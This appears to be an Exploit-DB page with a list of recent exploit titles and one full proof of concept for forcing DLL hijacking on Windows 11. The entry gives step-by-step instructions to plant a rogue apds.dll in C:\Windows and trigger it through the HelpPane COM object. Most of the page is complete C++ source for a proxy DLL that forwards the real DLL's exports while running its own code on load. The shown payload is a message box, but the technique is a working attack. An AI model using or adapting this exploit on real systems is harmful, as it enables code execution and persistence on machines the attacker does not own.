
24 changes to exploits/shellcodes/ghdb Minio 2022-07-29T19-40-48Z - Path traversal Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Denial Of Service Atcom 2.7.x.x - Authenticated Command Injection Ruijie Reyee Mesh Router - MITM Remote Code Execution (RCE) Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Admin Password Change Tinycontrol LAN Controller v3 (LK3) 1.58a - Remote Credentials Extraction OpenPLC WebServer 3 - Denial of Service Splunk 9.0.5 - admin account take over BoidCMS v2.0.0 - authenticated file upload vulnerability Cacti 1.2.24 - Authenticated command injection when using SNMP options Chitor-CMS v1.1.2 - Pre-Auth SQL Injection Clcknshop 1.0.0 - SQL Injection Coppermine Gallery 1.6.25 - RCE Crypto Currency Tracker (CCT) 9.5 - Admin Account Creation (Unauthenticated) GLPI GZIP(Py3) 9.4.5 - RCE Limo Booking Software v1.0 - CORS Media Library Assistant Wordpress Plugin - RCE and LFI Online ID Generator 1.0 - Remote Code Execution (RCE) Shuttle-Booking-Software v1.0 - Multiple-SQLi Webedition CMS v2.9.8.8 - Blind SSRF WEBIGniter v28.7.23 File Upload - Remote Code Execution Wordpress Plugin Masterstudy LMS - 3.0.17 - Unauthenticated Instructor Account Creation Wordpress Sonaar Music Plugin 4.7 - Stored XSS Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
230 lines
No EOL
8.8 KiB
Text
230 lines
No EOL
8.8 KiB
Text
#---------------------------------------------------------
|
||
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
|
||
# Date: 2023-09-01
|
||
# Author: Moein Shahabi
|
||
# Vendor: https://www.microsoft.com
|
||
# Version: Windows 11 Pro 10.0.22621
|
||
# Tested on: Windows 11_x64 [eng]
|
||
|
||
#---------------------------------------------------------
|
||
|
||
|
||
Description:
|
||
|
||
HelpPane object allows us to force Windows 11 to DLL hijacking
|
||
|
||
Instructions:
|
||
|
||
1. Compile dll
|
||
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory
|
||
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
|
||
4. Boom DLL Hijacked!
|
||
|
||
|
||
------Code_Poc-------
|
||
#pragma once
|
||
#include <Windows.h>
|
||
|
||
|
||
|
||
// Function executed when the thread starts
|
||
extern "C" __declspec(dllexport)
|
||
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
|
||
MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
|
||
return 0;
|
||
}
|
||
|
||
PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
|
||
#ifdef _WIN64
|
||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
|
||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
|
||
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
|
||
|
||
// Create some breathing room
|
||
baseAddress = baseAddress + optionalHeader->SizeOfImage;
|
||
|
||
for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
|
||
PBYTE usuable = (PBYTE)VirtualAlloc(
|
||
offset,
|
||
size,
|
||
MEM_RESERVE | MEM_COMMIT,
|
||
protection);
|
||
|
||
if (usuable) {
|
||
ZeroMemory(usuable, size); // Not sure if this is required
|
||
return usuable;
|
||
}
|
||
}
|
||
#else
|
||
// x86 doesn't matter where we allocate
|
||
|
||
PBYTE usuable = (PBYTE)VirtualAlloc(
|
||
NULL,
|
||
size,
|
||
MEM_RESERVE | MEM_COMMIT,
|
||
protection);
|
||
|
||
if (usuable) {
|
||
ZeroMemory(usuable, size);
|
||
return usuable;
|
||
}
|
||
#endif
|
||
return 0;
|
||
}
|
||
|
||
BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
|
||
{
|
||
#ifdef _WIN64
|
||
BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
|
||
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
|
||
#else
|
||
BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
|
||
BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
|
||
#endif
|
||
|
||
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
|
||
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
|
||
PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
|
||
PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||
if (exportDataDirectory->Size == 0)
|
||
return FALSE; // Nothing to forward
|
||
|
||
PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);
|
||
|
||
if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
|
||
return FALSE; // TODO: Add support for DLLs with mixed ordinals
|
||
|
||
dosHeader = (PIMAGE_DOS_HEADER)ourBase;
|
||
ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
|
||
optionalHeader = &ntHeaders->OptionalHeader;
|
||
exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||
if (exportDataDirectory->Size == 0)
|
||
return FALSE; // Our DLL is broken
|
||
|
||
PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);
|
||
|
||
// ----------------------------------
|
||
|
||
// Make current header data RW for redirections
|
||
DWORD oldProtect = 0;
|
||
if (!VirtualProtect(
|
||
ourExportDirectory,
|
||
64, PAGE_READWRITE,
|
||
&oldProtect)) {
|
||
return FALSE;
|
||
}
|
||
|
||
DWORD totalAllocationSize = 0;
|
||
|
||
// Add the size of jumps
|
||
totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));
|
||
|
||
// Add the size of function table
|
||
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);
|
||
|
||
// Add total size of names
|
||
PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
|
||
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
|
||
totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;
|
||
|
||
// Add size of name table
|
||
totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);
|
||
|
||
// Add the size of ordinals:
|
||
totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
|
||
|
||
// Allocate usuable memory for rebuilt export data
|
||
PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
|
||
if (!exportData)
|
||
return FALSE;
|
||
|
||
PBYTE sideAllocation = exportData; // Used for VirtualProtect later
|
||
|
||
// Copy Function Table
|
||
PINT newFunctionTable = (PINT)exportData;
|
||
CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
|
||
exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
|
||
ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);
|
||
|
||
// Write JMPs and update RVAs in the new function table
|
||
PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
|
||
for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
|
||
newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);
|
||
|
||
CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
|
||
exportData += sizeof(jmpPrefix);
|
||
|
||
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
|
||
CopyMemory(exportData, &realAddress, sizeof(LPVOID));
|
||
exportData += sizeof(LPVOID);
|
||
|
||
CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
|
||
exportData += sizeof(jmpSuffix);
|
||
}
|
||
|
||
// Copy Name RVA Table
|
||
PINT newNameTable = (PINT)exportData;
|
||
CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
|
||
exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
|
||
ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);
|
||
|
||
// Copy names and apply delta to all the RVAs in the new name table
|
||
for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
|
||
PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
|
||
DWORD length = (DWORD)strlen((LPCSTR)realAddress);
|
||
CopyMemory(exportData, realAddress, length);
|
||
newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
|
||
exportData += length + 1;
|
||
}
|
||
|
||
// Copy Ordinal Table
|
||
PINT newOrdinalTable = (PINT)exportData;
|
||
CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
|
||
exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
|
||
ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);
|
||
|
||
// Set our counts straight
|
||
ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
|
||
ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;
|
||
|
||
if (!VirtualProtect(
|
||
ourExportDirectory,
|
||
64, oldProtect,
|
||
&oldProtect)) {
|
||
return FALSE;
|
||
}
|
||
|
||
if (!VirtualProtect(
|
||
sideAllocation,
|
||
totalAllocationSize,
|
||
PAGE_EXECUTE_READ,
|
||
&oldProtect)) {
|
||
return FALSE;
|
||
}
|
||
|
||
return TRUE;
|
||
}
|
||
// Executed when the DLL is loaded (traditionally or through reflective injection)
|
||
BOOL APIENTRY DllMain(HMODULE hModule,
|
||
DWORD ul_reason_for_call,
|
||
LPVOID lpReserved
|
||
)
|
||
{
|
||
HMODULE realDLL;
|
||
switch (ul_reason_for_call)
|
||
{
|
||
case DLL_PROCESS_ATTACH:
|
||
CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
|
||
realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
|
||
if (realDLL)
|
||
ProxyExports(hModule, realDLL);
|
||
|
||
|
||
case DLL_THREAD_ATTACH:
|
||
case DLL_THREAD_DETACH:
|
||
case DLL_PROCESS_DETACH:
|
||
break;
|
||
}
|
||
return TRUE;
|
||
}
|
||
-------------------------- |